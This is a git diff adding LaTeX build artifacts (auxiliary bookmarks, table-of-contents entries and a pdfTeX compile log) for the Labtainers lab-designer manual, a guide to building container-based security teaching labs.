+\BKM@entry{id=63,dest={73656374696F6E2E3130},srcline={1997}}{4C696D69746174696F6E73} +\BKM@entry{id=64,dest={73656374696F6E2E3131},srcline={2029}}{4E6F746573} +\BKM@entry{id=65,dest={73756273656374696F6E2E31312E31},srcline={2031}}{46697265666F78} +\BKM@entry{id=66,dest={73756273656374696F6E2E31312E32},srcline={2044}}{57697265736861726B} +\BKM@entry{id=67,dest={73756273656374696F6E2E31312E33},srcline={2060}}{456C6767} +\@writefile{toc}{\contentsline {section}{\numberline {10}Limitations}{40}{section.10}} +\newlabel{limitations}{{10}{40}{Limitations}{section.10}{}} +\@writefile{toc}{\contentsline {section}{\numberline {11}Notes}{40}{section.11}} +\newlabel{Notes}{{11}{40}{Notes}{section.11}{}} +\newlabel{Notes}{{11}{40}{Notes}{section.11}{}} +\@writefile{toc}{\contentsline {subsection}{\numberline {11.1}Firefox}{40}{subsection.11.1}} +\@writefile{toc}{\contentsline {subsection}{\numberline {11.2}Wireshark}{40}{subsection.11.2}} +\BKM@entry{id=68,dest={73756273656374696F6E2E31312E34},srcline={2064}}{486F7374204F5320646570656E64656E63696573} +\BKM@entry{id=69,dest={73756273656374696F6E2E31312E35},srcline={2072}}{4C6F67696E2050726F6D707473} +\BKM@entry{id=70,dest={73756273656374696F6E2E31312E36},srcline={2076}}{4E6574776F726B696E67204E6F746573} +\BKM@entry{id=71,dest={73756273756273656374696F6E2E31312E362E31},srcline={2078}}{535348} +\BKM@entry{id=72,dest={73756273756273656374696F6E2E31312E362E32},srcline={2085}}{583131206F76657220535348} +\BKM@entry{id=73,dest={73756273756273656374696F6E2E31312E362E33},srcline={2090}}{54726166666963206D6972726F72696E67} +\BKM@entry{id=74,dest={73756273756273656374696F6E2E31312E362E34},srcline={2102}}{444E53} +\@writefile{toc}{\contentsline {subsection}{\numberline {11.3}Elgg}{41}{subsection.11.3}} +\@writefile{toc}{\contentsline {subsection}{\numberline {11.4}Host OS dependencies}{41}{subsection.11.4}} +\@writefile{toc}{\contentsline {subsection}{\numberline {11.5}Login Prompts}{41}{subsection.11.5}} +\@writefile{toc}{\contentsline {subsection}{\numberline {11.6}Networking Notes}{41}{subsection.11.6}} +\newlabel{Networking Notes}{{11.6}{41}{Networking Notes}{subsection.11.6}{}} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {11.6.1}SSH}{41}{subsubsection.11.6.1}} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {11.6.2}X11 over SSH}{41}{subsubsection.11.6.2}} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {11.6.3}Traffic mirroring}{41}{subsubsection.11.6.3}} +\BKM@entry{id=75,dest={73756273756273656374696F6E2E31312E362E35},srcline={2106}}{4F766572726964696E6720446F636B657220726F7574696E6720616E6420444E53} +\BKM@entry{id=76,dest={73756273656374696F6E2E31312E37},srcline={2124}}{55736572206D616E6167656D656E7420616E64207375646F} +\BKM@entry{id=77,dest={73756273656374696F6E2E31312E38},srcline={2133}}{53756767657374696F6E7320666F7220446576656C6F70657273} +\BKM@entry{id=78,dest={73756273656374696F6E2E31312E39},srcline={2152}}{436F6E7461696E65722069736F6C6174696F6E} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {11.6.4}DNS}{42}{subsubsection.11.6.4}} +\@writefile{toc}{\contentsline {subsubsection}{\numberline {11.6.5}Overriding Docker routing and DNS}{42}{subsubsection.11.6.5}} +\@writefile{toc}{\contentsline {subsection}{\numberline {11.7}User management and sudo}{42}{subsection.11.7}} +\@writefile{toc}{\contentsline {subsection}{\numberline {11.8}Suggestions for Developers}{42}{subsection.11.8}} +\BKM@entry{id=79,dest={73756273656374696F6E2E31312E3130},srcline={2167}}{53747564656E742073656C66206173736573736D656E74} +\@writefile{toc}{\contentsline {subsection}{\numberline {11.9}Container isolation}{43}{subsection.11.9}} +\@writefile{toc}{\contentsline {subsection}{\numberline {11.10}Student self assessment}{43}{subsection.11.10}} +\BKM@entry{id=80,dest={617070656E6469782E41},srcline={2176}}{53696D4C616220666F722074657374696E67206C616273} +\BKM@entry{id=81,dest={73756273656374696F6E2E412E31},srcline={2197}}{53696D4C61622044697265637469766573} +\@writefile{toc}{\contentsline {section}{\numberline {A}\\SimLab for testing labs}{44}{appendix.A}} +\newlabel{testing}{{A}{44}{\\SimLab for testing labs}{appendix.A}{}} +\@writefile{toc}{\contentsline {subsection}{\numberline {A.1}SimLab Directives}{44}{subsection.A.1}} +\BKM@entry{id=82,dest={73756273656374696F6E2E412E32},srcline={2243}}{53696D4C6162207370706C69636174696F6E206E6F746573} +\BKM@entry{id=83,dest={73756273656374696F6E2E412E33},srcline={2250}}{52656772657373696F6E2074657374696E67207769746820736D6F6B65746573742E7079} +\@writefile{toc}{\contentsline {subsection}{\numberline {A.2}SimLab spplication notes}{45}{subsection.A.2}} +\newlabel{simlab_notes}{{A.2}{45}{SimLab spplication notes}{subsection.A.2}{}} +\@writefile{toc}{\contentsline {subsection}{\numberline {A.3}Regression testing with smoketest.py}{45}{subsection.A.3}} +\newlabel{smoketest}{{A.3}{45}{Regression testing with smoketest.py}{subsection.A.3}{}} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.dvi b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.dvi new file mode 100644 index 000000000..1d0dbbc78 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.dvi differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.log b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.log new file mode 100644 index 000000000..2ff60f5e8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/docs/labdesigner/labdesigner.log @@ -0,0 +1,967 @@ +This is pdfTeX, Version 3.14159265-2.6-1.40.16 (TeX Live 2015/Debian) (preloaded format=pdflatex 2019.6.19) 19 JUN 2019 12:22 +entering extended mode + restricted \write18 enabled. + %&-line parsing enabled. +**labdesigner +(./labdesigner.tex +LaTeX2e <2016/02/01> +Babel <3.9q> and hyphenation patterns for 3 language(s) loaded. +(/usr/share/texlive/texmf-dist/tex/latex/base/article.cls +Document Class: article 2014/09/29 v1.4h Standard LaTeX document class +(/usr/share/texlive/texmf-dist/tex/latex/base/size12.clo +File: size12.clo 2014/09/29 v1.4h Standard LaTeX file (size option) +) +\c@part=\count79 +\c@section=\count80 +\c@subsection=\count81 +\c@subsubsection=\count82 +\c@paragraph=\count83 +\c@subparagraph=\count84 +\c@figure=\count85 +\c@table=\count86 +\abovecaptionskip=\skip41 +\belowcaptionskip=\skip42 +\bibindent=\dimen102 +) +(/usr/share/texlive/texmf-dist/tex/latex/geometry/geometry.sty +Package: geometry 2010/09/12 v5.6 Page Geometry + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty +Package: keyval 2014/10/28 v1.15 key=value parser (DPC) +\KV@toks@=\toks14 +) +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifpdf.sty +Package: ifpdf 2011/01/30 v2.3 Provides the ifpdf switch (HO) +Package ifpdf Info: pdfTeX in PDF mode is detected. +) +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ifvtex.sty +Package: ifvtex 2010/03/01 v1.5 Detect VTeX and its facilities (HO) +Package ifvtex Info: VTeX not detected. +) +(/usr/share/texlive/texmf-dist/tex/generic/ifxetex/ifxetex.sty +Package: ifxetex 2010/09/12 v0.6 Provides ifxetex conditional +) +\Gm@cnth=\count87 +\Gm@cntv=\count88 +\c@Gm@tempcnt=\count89 +\Gm@bindingoffset=\dimen103 +\Gm@wd@mp=\dimen104 +\Gm@odd@mp=\dimen105 +\Gm@even@mp=\dimen106 +\Gm@layoutwidth=\dimen107 +\Gm@layoutheight=\dimen108 +\Gm@layouthoffset=\dimen109 +\Gm@layoutvoffset=\dimen110 +\Gm@dimlist=\toks15 +) +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hyperref.sty +Package: hyperref 2012/11/06 v6.83m Hypertext links for LaTeX + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-hyperref.sty +Package: hobsub-hyperref 2012/05/28 v1.13 Bundle oberdiek, subset hyperref (HO) + + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/hobsub-generic.sty +Package: hobsub-generic 2012/05/28 v1.13 Bundle oberdiek, subset generic (HO) +Package: hobsub 2012/05/28 v1.13 Construct package bundles (HO) +Package: infwarerr 2010/04/08 v1.3 Providing info/warning/error messages (HO) +Package: ltxcmds 2011/11/09 v1.22 LaTeX kernel commands for general use (HO) +Package: ifluatex 2010/03/01 v1.3 Provides the ifluatex switch (HO) +Package ifluatex Info: LuaTeX not detected. +Package hobsub Info: Skipping package `ifvtex' (already loaded). +Package: intcalc 2007/09/27 v1.1 Expandable calculations with integers (HO) +Package hobsub Info: Skipping package `ifpdf' (already loaded). +Package: etexcmds 2011/02/16 v1.5 Avoid name clashes with e-TeX commands (HO) +Package etexcmds Info: Could not find \expanded. +(etexcmds) That can mean that you are not using pdfTeX 1.50 or +(etexcmds) that some package has redefined \expanded. +(etexcmds) In the latter case, load this package earlier. +Package: kvsetkeys 2012/04/25 v1.16 Key value parser (HO) +Package: kvdefinekeys 2011/04/07 v1.3 Define keys (HO) +Package: pdftexcmds 2011/11/29 v0.20 Utility functions of pdfTeX for LuaTeX (HO +) +Package pdftexcmds Info: LuaTeX not detected. +Package pdftexcmds Info: \pdf@primitive is available. +Package pdftexcmds Info: \pdf@ifprimitive is available. +Package pdftexcmds Info: \pdfdraftmode found. +Package: pdfescape 2011/11/25 v1.13 Implements pdfTeX's escape features (HO) +Package: bigintcalc 2012/04/08 v1.3 Expandable calculations on big integers (HO +) +Package: bitset 2011/01/30 v1.1 Handle bit-vector datatype (HO) +Package: uniquecounter 2011/01/30 v1.2 Provide unlimited unique counter (HO) +) +Package hobsub Info: Skipping package `hobsub' (already loaded). +Package: letltxmacro 2010/09/02 v1.4 Let assignment for LaTeX macros (HO) +Package: hopatch 2012/05/28 v1.2 Wrapper for package hooks (HO) +Package: xcolor-patch 2011/01/30 xcolor patch +Package: atveryend 2011/06/30 v1.8 Hooks at the very end of document (HO) +Package atveryend Info: \enddocument detected (standard20110627). +Package: atbegshi 2011/10/05 v1.16 At begin shipout hook (HO) +Package: refcount 2011/10/16 v3.4 Data extraction from label references (HO) +Package: hycolor 2011/01/30 v1.7 Color options for hyperref/bookmark (HO) +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/auxhook.sty +Package: auxhook 2011/03/04 v1.3 Hooks for auxiliary files (HO) +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/kvoptions.sty +Package: kvoptions 2011/06/30 v3.11 Key value format for package options (HO) +) +\@linkdim=\dimen111 +\Hy@linkcounter=\count90 +\Hy@pagecounter=\count91 + +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/pd1enc.def +File: pd1enc.def 2012/11/06 v6.83m Hyperref: PDFDocEncoding definition (HO) +) +\Hy@SavedSpaceFactor=\count92 + +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/hyperref.cfg +File: hyperref.cfg 2002/06/06 v1.2 hyperref configuration of TeXLive +) +Package hyperref Info: Option `colorlinks' set `true' on input line 4319. +Package hyperref Info: Hyper figures OFF on input line 4443. +Package hyperref Info: Link nesting OFF on input line 4448. +Package hyperref Info: Hyper index ON on input line 4451. +Package hyperref Info: Plain pages OFF on input line 4458. +Package hyperref Info: Backreferencing OFF on input line 4463. +Package hyperref Info: Implicit mode ON; LaTeX internals redefined. +Package hyperref Info: Bookmarks ON on input line 4688. +\c@Hy@tempcnt=\count93 + +(/usr/share/texlive/texmf-dist/tex/latex/url/url.sty +\Urlmuskip=\muskip10 +Package: url 2013/09/16 ver 3.4 Verb mode for urls, etc. +) +LaTeX Info: Redefining \url on input line 5041. +\XeTeXLinkMargin=\dimen112 +\Fld@menulength=\count94 +\Field@Width=\dimen113 +\Fld@charsize=\dimen114 +Package hyperref Info: Hyper figures OFF on input line 6295. +Package hyperref Info: Link nesting OFF on input line 6300. +Package hyperref Info: Hyper index ON on input line 6303. +Package hyperref Info: backreferencing OFF on input line 6310. +Package hyperref Info: Link coloring ON on input line 6313. +Package hyperref Info: Link coloring with OCG OFF on input line 6320. +Package hyperref Info: PDF/A mode OFF on input line 6325. +LaTeX Info: Redefining \ref on input line 6365. +LaTeX Info: Redefining \pageref on input line 6369. +\Hy@abspage=\count95 +\c@Item=\count96 +\c@Hfootnote=\count97 +) + +Package hyperref Message: Driver (autodetected): hpdftex. + +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/hpdftex.def +File: hpdftex.def 2012/11/06 v6.83m Hyperref driver for pdfTeX +\Fld@listcount=\count98 +\c@bookmark@seq@number=\count99 + +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/rerunfilecheck.sty +Package: rerunfilecheck 2011/04/15 v1.7 Rerun checks for auxiliary files (HO) +Package uniquecounter Info: New unique counter `rerunfilecheck' on input line 2 +82. +) +\Hy@SectionHShift=\skip43 +) +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/bookmark.sty +Package: bookmark 2011/12/02 v1.24 PDF bookmarks (HO) + +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/bkm-pdftex.def +File: bkm-pdftex.def 2011/12/02 v1.24 bookmark driver for pdfTeX (HO) +\BKM@id=\count100 +)) +(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphicx.sty +Package: graphicx 2014/10/28 v1.0g Enhanced LaTeX Graphics (DPC,SPQR) + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphics.sty +Package: graphics 2016/01/03 v1.0q Standard LaTeX Graphics (DPC,SPQR) + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/trig.sty +Package: trig 2016/01/03 v1.10 sin cos tan (DPC) +) +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/graphics.cfg +File: graphics.cfg 2010/04/23 v1.9 graphics configuration of TeX Live +) +Package graphics Info: Driver file: pdftex.def on input line 95. + +(/usr/share/texlive/texmf-dist/tex/latex/pdftex-def/pdftex.def +File: pdftex.def 2011/05/27 v0.06d Graphics/color for pdfTeX +\Gread@gobject=\count101 +)) +\Gin@req@height=\dimen115 +\Gin@req@width=\dimen116 +) +(/usr/share/texlive/texmf-dist/tex/latex/csquotes/csquotes.sty +Package: csquotes 2016/01/31 v5.1g context-sensitive quotations (JAW) + +(/usr/share/texlive/texmf-dist/tex/latex/etoolbox/etoolbox.sty +Package: etoolbox 2015/08/02 v2.2a e-TeX tools for LaTeX (JAW) +\etb@tempcnta=\count102 +) +\csq@reset=\count103 +\csq@gtype=\count104 +\csq@glevel=\count105 +\csq@qlevel=\count106 +\csq@maxlvl=\count107 +\csq@tshold=\count108 +\csq@ltx@everypar=\toks16 + +(/usr/share/texlive/texmf-dist/tex/latex/csquotes/csquotes.def +File: csquotes.def 2016/01/31 v5.1g csquotes generic definitions (JAW) +) +Package csquotes Info: Trying to load configuration file 'csquotes.cfg'... +Package csquotes Info: ... configuration file loaded successfully. + +(/usr/share/texlive/texmf-dist/tex/latex/csquotes/csquotes.cfg +File: csquotes.cfg +) +Package csquotes Info: Enabling multilingual quotes. +Package csquotes Info: Redefining alias 'english' -> 'english/american'. +) +(/usr/share/texlive/texmf-dist/tex/latex/appendix/appendix.sty +Package: appendix 2009/09/02 v1.2b extra appendix facilities +\c@@pps=\count109 +\c@@ppsavesec=\count110 +\c@@ppsaveapp=\count111 +) +Package csquotes Info: Checking for multilingual support... +Package csquotes Info: ... none found. + + +Package csquotes Warning: No multilingual support. +(csquotes) Cannot enable multilingual quotes on input line 9. + +(./labdesigner.aux + +LaTeX Warning: Label `Notes' multiply defined. + +) +\openout1 = `labdesigner.aux'. + +LaTeX Font Info: Checking defaults for OML/cmm/m/it on input line 9. +LaTeX Font Info: ... okay on input line 9. +LaTeX Font Info: Checking defaults for T1/cmr/m/n on input line 9. +LaTeX Font Info: ... okay on input line 9. +LaTeX Font Info: Checking defaults for OT1/cmr/m/n on input line 9. +LaTeX Font Info: ... okay on input line 9. +LaTeX Font Info: Checking defaults for OMS/cmsy/m/n on input line 9. +LaTeX Font Info: ... okay on input line 9. +LaTeX Font Info: Checking defaults for OMX/cmex/m/n on input line 9. +LaTeX Font Info: ... okay on input line 9. +LaTeX Font Info: Checking defaults for U/cmr/m/n on input line 9. +LaTeX Font Info: ... okay on input line 9. +LaTeX Font Info: Checking defaults for PD1/pdf/m/n on input line 9. +LaTeX Font Info: ... okay on input line 9. + +*geometry* driver: auto-detecting +*geometry* detected driver: pdftex +*geometry* verbose mode - [ preamble ] result: +* driver: pdftex +* paper: a4paper +* layout: +* layoutoffset:(h,v)=(0.0pt,0.0pt) +* modes: +* h-part:(L,W,R)=(56.9055pt, 483.69684pt, 56.90553pt) +* v-part:(T,H,B)=(56.9055pt, 731.23582pt, 56.90552pt) +* \paperwidth=597.50787pt +* \paperheight=845.04684pt +* \textwidth=483.69684pt +* \textheight=731.23582pt +* \oddsidemargin=-15.36449pt +* \evensidemargin=-15.36449pt +* \topmargin=-52.36449pt +* \headheight=12.0pt +* \headsep=25.0pt +* \topskip=12.0pt +* \footskip=30.0pt +* \marginparwidth=44.0pt +* \marginparsep=10.0pt +* \columnsep=10.0pt +* \skip\footins=10.8pt plus 4.0pt minus 2.0pt +* \hoffset=0.0pt +* \voffset=0.0pt +* \mag=1000 +* \@twocolumnfalse +* \@twosidefalse +* \@mparswitchfalse +* \@reversemarginfalse +* (1in=72.27pt=25.4mm, 1cm=28.453pt) + +\AtBeginShipoutBox=\box26 +(/usr/share/texlive/texmf-dist/tex/latex/graphics/color.sty +Package: color 2016/01/03 v1.1b Standard LaTeX Color (DPC) + +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/color.cfg +File: color.cfg 2007/01/18 v1.5 color configuration of teTeX/TeXLive +) +Package color Info: Driver file: pdftex.def on input line 143. +) +Package hyperref Info: Link coloring ON on input line 9. + +(/usr/share/texlive/texmf-dist/tex/latex/hyperref/nameref.sty +Package: nameref 2012/10/27 v2.43 Cross-referencing by name of section + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/gettitlestring.sty +Package: gettitlestring 2010/12/03 v1.4 Cleanup title references (HO) +) +\c@section@level=\count112 +) +LaTeX Info: Redefining \ref on input line 9. +LaTeX Info: Redefining \pageref on input line 9. +LaTeX Info: Redefining \nameref on input line 9. + +(/usr/share/texlive/texmf-dist/tex/context/base/supp-pdf.mkii +[Loading MPS to PDF converter (version 2006.09.02).] +\scratchcounter=\count113 +\scratchdimen=\dimen117 +\scratchbox=\box27 +\nofMPsegments=\count114 +\nofMParguments=\count115 +\everyMPshowfont=\toks17 +\MPscratchCnt=\count116 +\MPscratchDim=\dimen118 +\MPnumerator=\count117 +\makeMPintoPDFobject=\count118 +\everyMPtoPDFconversion=\toks18 +) (/usr/share/texlive/texmf-dist/tex/latex/oberdiek/epstopdf-base.sty +Package: epstopdf-base 2010/02/09 v2.5 Base part for package epstopdf + +(/usr/share/texlive/texmf-dist/tex/latex/oberdiek/grfext.sty +Package: grfext 2010/08/19 v1.1 Manage graphics extensions (HO) +) +Package grfext Info: Graphics extension search list: +(grfext) [.png,.pdf,.jpg,.mps,.jpeg,.jbig2,.jb2,.PNG,.PDF,.JPG,.JPE +G,.JBIG2,.JB2,.eps] +(grfext) \AppendGraphicsExtensions on input line 452. + +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/epstopdf-sys.cfg +File: epstopdf-sys.cfg 2010/07/13 v1.3 Configuration of (r)epstopdf for TeX Liv +e +)) +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <14.4> on input line 13. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <7> on input line 13. + + +LaTeX Warning: No \author given. + +[1 + +{/var/lib/texmf/fonts/map/pdftex/updmap/pdftex.map}] (./labdesigner.toc +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <12> on input line 2. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <8> on input line 2. +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <6> on input line 2. +pdfTeX warning (ext4): destination with the same identifier (name{page.1}) has +been already used, duplicate ignored + + \relax +l.46 ...tarting services}{29}{subsubsection.6.4.5} + [1]) +\tf@toc=\write3 +\openout3 = `labdesigner.toc'. + + [2] + +File: dmz-lab.jpg Graphic file (type jpg) + +Package pdftex.def Info: dmz-lab.jpg used on input line 70. +(pdftex.def) Requested size: 193.47577pt x 233.25185pt. +LaTeX Font Info: Try loading font information for OMS+cmr on input line 87. + +(/usr/share/texlive/texmf-dist/tex/latex/base/omscmr.fd +File: omscmr.fd 2014/09/29 v2.5h Standard LaTeX font definitions +) +LaTeX Font Info: Font shape `OMS/cmr/m/n' in size <12> not available +(Font) Font shape `OMS/cmsy/m/n' tried instead on input line 87. + [3] +LaTeX Font Info: External font `cmex10' loaded for size +(Font) <5> on input line 105. + +Overfull \hbox (20.35292pt too wide) in paragraph at lines 103--108 +\OT1/cmr/m/n/12 files by go-ing to your lab-tain-ers di-rec-tory, e.g., \OT1/cm +tt/m/n/12 ~/labtainers/ \OT1/cmr/m/n/12 and run-ning \OT1/cmtt/m/n/12 ./update- +designer.sh + [] + +[4 <./dmz-lab.jpg>] [5] [6] [7] [8] +Overfull \hbox (4.55023pt too wide) in paragraph at lines 384--386 +\OT1/cmr/m/n/12 Refer to the Dock-er-files in \OT1/cmtt/m/n/12 $LABTAINER[]DIR/ +scripts/designer/base[]dockerfiles \OT1/cmr/m/n/12 to see which + [] + + +Overfull \hbox (28.34538pt too wide) in paragraph at lines 416--418 +\OT1/cmr/m/n/12 stu-dent ar-ti-facts. These are then avail-able to the in-struc +-tor in the lab-tainer[]xfer/[lab]/docs + [] + +[9] +Overfull \hbox (12.88086pt too wide) in paragraph at lines 439--440 +[]\OT1/cmr/m/n/12 IP[]RANGE [range] -- Op-tional, al-lo-cates an ip range to th +e net-work, e.g., 192.168.1.4/30 + [] + + +Overfull \hbox (13.02113pt too wide) in paragraph at lines 442--445 +\OT1/cmr/m/n/12 lab. De-fault val-ues for con-tainer sec-tions are au-to-mat-i- +cally cre-ated by the \OT1/cmtt/m/n/12 new[]lab[]setup.py + [] + +[10] [11] [12] [13] +Overfull \hbox (33.21945pt too wide) in paragraph at lines 665--672 +\OT1/cmr/m/n/12 The ini-tial en-vi-ron-ment en-coun-tered by the stu-dent is fu +r-ther re-fined us-ing the op-tional []bin/fixlocal.sh + [] + +[14] +Overfull \hbox (16.47841pt too wide) in paragraph at lines 798--798 +[] \OT1/cmtt/m/n/12 (all one line) will randomly replace the token string " +BUFFER_SIZE" found in[] + [] + + +Overfull \hbox (22.65341pt too wide) in paragraph at lines 798--798 +[] \OT1/cmtt/m/n/12 file stack.c on the mylab.client.student container with + a number ranging from[] + [] + + +Overfull \hbox (4.1284pt too wide) in paragraph at lines 798--798 +[] \OT1/cmtt/m/n/12 Identical to RAND_REPLACE, except randomly selected value +s are never resused[] + [] + +[15] +Overfull \hbox (35.00342pt too wide) in paragraph at lines 798--798 +[] \OT1/cmtt/m/n/12 addresses, e.g., 198.18.1.WEB_IP. It is suggested that r +andom ranges be selected[] + [] + + +Overfull \hbox (4.1284pt too wide) in paragraph at lines 798--798 +[] \OT1/cmtt/m/n/12 - the input to a MD5 hash operation ( +after concatenation[] + [] + + +Overfull \hbox (22.65341pt too wide) in paragraph at lines 798--798 +[] \OT1/cmtt/m/n/12 - a string contatenated with the lab in +stance seed and hashed[] + [] + + +Overfull \hbox (41.17842pt too wide) in paragraph at lines 798--798 +[] \OT1/cmtt/m/n/12 The string "ROOT_SECRET" in file /root/.secret will be +replaced with an MD5 hash[] + [] + + +Overfull \hbox (47.35342pt too wide) in paragraph at lines 798--798 +[] \OT1/cmtt/m/n/12 Replace a symbol with the clone instance number of a cont +ainer per the CLONE option[] + [] + +[16] [17] [18] [19] [20] +Overfull \hbox (46.5701pt too wide) in paragraph at lines 1026--1036 +\OT1/cmr/m/n/12 The std-out of any such pro-gram will be writ-ten to a times-ta +mped file named \OT1/cmtt/m/n/12 prestop.stdout.timestamp + [] + +[21] +Overfull \hbox (22.65341pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 result -- The symbolic name of the result, which + will be referenced in[] + [] + + +Overfull \hbox (22.65341pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 file_id -- Identifies a single file, or the set +of files to be parsed.[] + [] + + +Overfull \hbox (16.47841pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 where is a program or utility name + whose stdin, stdout,[] + [] + + +Overfull \hbox (10.3034pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 or program output (prgout) artifacts will + include timestamps.[] + [] + + +Overfull \hbox (4.1284pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 The optional container_name identifies th +e container hosting[] + [] + + +Overfull \hbox (28.82841pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 the file. Labs with a single container c +an omit this qualifier.[] + [] + + +Overfull \hbox (4.1284pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 file_path is intended for log files of se +rvices that persist[] + [] + + +Overfull \hbox (10.3034pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 across multiple student operations. If t +he given path is not[] + [] + + +Overfull \hbox (28.82841pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 absolute, it is relative to the container + user's home directory.[] + [] + + +Overfull \hbox (28.82841pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 i.e., *.stdin is for all stdin artifacts +and *.stdout is for all[] + [] + + +Overfull \hbox (10.3034pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 field_type - Optional, defaults to "TOKEN", poss +ible values include:[] + [] + + +Overfull \hbox (10.3034pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 LINE_COUNT -- The quantity of lines in the fi +le. Remaining fields[] + [] + +[22] +Overfull \hbox (41.17842pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 contains the regular expression + represented in field_id.[] + [] + + +Overfull \hbox (35.00342pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 The python findall function is +used on the entire file.[] + [] + + +Overfull \hbox (47.35342pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 See the acl lab for an example +of multi-line expressions.[] + [] + + +Overfull \hbox (4.1284pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 LOG_TS -- Used with timestamped log files +, this results in a[] + [] + + +Overfull \hbox (4.1284pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 of TRUE for each log line that +contains the string[] + [] + + +Overfull \hbox (16.47841pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 the occurances of the command g +iven in the field_id.[] + [] + + +Overfull \hbox (47.35342pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 Commands are evaluatd consideri +ng use of sudo, time, etc.[] + [] + + +Overfull \hbox (22.65341pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 defined by the given field_id, +which is treated as an[] + [] + + +Overfull \hbox (16.47841pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 expression having the syntax of + pythons parse.search[] + [] + + +Overfull \hbox (4.1284pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 number named by the field_id. +Regular expressions[] + [] + + +Overfull \hbox (16.47841pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 TIME_DELIM -- The timestamps of the named fil +es are used to create[] + [] + + +Overfull \hbox (4.1284pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 a set of time ranges, e.g., for + use in time_during[] + [] + + +Overfull \hbox (28.82841pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 field_id -- An integer identifying the nth occur +ance of the field type.[] + [] + + +Overfull \hbox (4.1284pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 Alternately may be "LAST" for the la +st occurance of the[] + [] + + +Overfull \hbox (22.65341pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 field type, or "ALL" for the entire +line (which causes the[] + [] + + +Overfull \hbox (28.82841pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 field type to be ignored). Or if fi +eld_type is SEARCH, the[] + [] + + +Overfull \hbox (10.3034pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 searched for. If field_type is "PAR +AM", the field_id is[] + [] + + +Overfull \hbox (4.1284pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 the 1-based index of the parameter w +hose value is to be[] + [] + +[23] +Overfull \hbox (10.3034pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 If field_type is "CHECKSUM", no othe +r field is required.[] + [] + + +Overfull \hbox (35.00342pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 line_type - Identifies how the line is to be ide +ntified, values include:[] + [] + + +Overfull \hbox (4.1284pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 lines is discouraged sinc +e minor lab changes[] + [] + + +Overfull \hbox (4.1284pt too wide) in paragraph at lines 1200--1200 +[] \OT1/cmtt/m/n/12 first occurrence of a lin +e that contains the[] + 